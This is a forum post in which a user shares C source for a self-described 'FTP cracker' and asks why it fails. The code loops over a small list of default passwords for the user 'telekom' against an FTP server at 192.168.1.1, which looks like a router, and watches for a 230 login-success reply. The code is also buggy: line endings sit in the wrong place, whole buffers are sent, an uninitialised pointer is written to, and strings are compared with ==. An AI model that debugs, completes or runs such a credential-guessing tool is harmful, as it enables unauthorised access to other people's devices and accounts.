Thread: FTP error?

I am making FTP cracker and FTP dont recognize my inputs, and I dont know what am I doing it wrong.

Code:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>

struct sockaddr_in serv_addr;
char sendBuffer[128];
char recvBuffer[1024];
char* attempt;
char* user = "telekom";
char* passwords[10] = {"admin", "administrator", "password123", "telekom", "sifra123"};
int sock = 0;
int recived = 0;

char* connectToFTP(char* _user, char* _password){
    char userBuffer[128];
    strcpy(userBuffer, "");
    strcat(userBuffer, "\r\n");
    strcat(userBuffer, "USER ");
    strcat(userBuffer, _user);
    
    char passBuffer[128];
    strcpy(passBuffer, "");
    strcat(passBuffer, "\r\n");
    strcat(passBuffer, "PASS ");
    strcat(passBuffer, _password);
    
    char endBuffer[32] = "QUIT\r\n";
    
    sock = socket(AF_INET, SOCK_STREAM, 0);
    
    printf("\nTrying: ");
    printf("%s", userBuffer);
    printf("%s", passBuffer);
    printf("\n >>> %s", attempt);
    printf("\n-----------------------\n");
    
    connect(sock, (struct sockaddr*)&serv_addr, sizeof(serv_addr));

    recived = recv(sock, recvBuffer, sizeof(recvBuffer), 0);
    recvBuffer[recived] = 0; // flush
    
    // USER
    sendto(sock, userBuffer, sizeof(userBuffer), 0, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
    
    recived = recv(sock, recvBuffer, sizeof(recvBuffer), 0);
    recvBuffer[recived] = 0; // flush
    
    // PASS
    sendto(sock, passBuffer, sizeof(passBuffer), 0, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
    
    recived = recv(sock, recvBuffer, sizeof(recvBuffer), 0);
    recvBuffer[recived] = 0; // flush
    
    // END
    sendto(sock, endBuffer, sizeof(endBuffer), 0, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
    
    return recvBuffer;
}

int main(int argc, char** args){
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(21);
    serv_addr.sin_addr.s_addr = inet_addr("192.168.1.1"); 
    
    int i;
    char* passLength;
    memset(passLength, '1', sizeof(passwords));
    for(i = 0; i <= sizeof(passLength); i++){
        attempt = connectToFTP(user, passwords[i]);
        //printf(", %s", attempt);
        if(attempt == "230") {
            printf("Password Found: %s", passwords[i]);
            break;
        }
    } close(sock);
    
    return 0 ;
}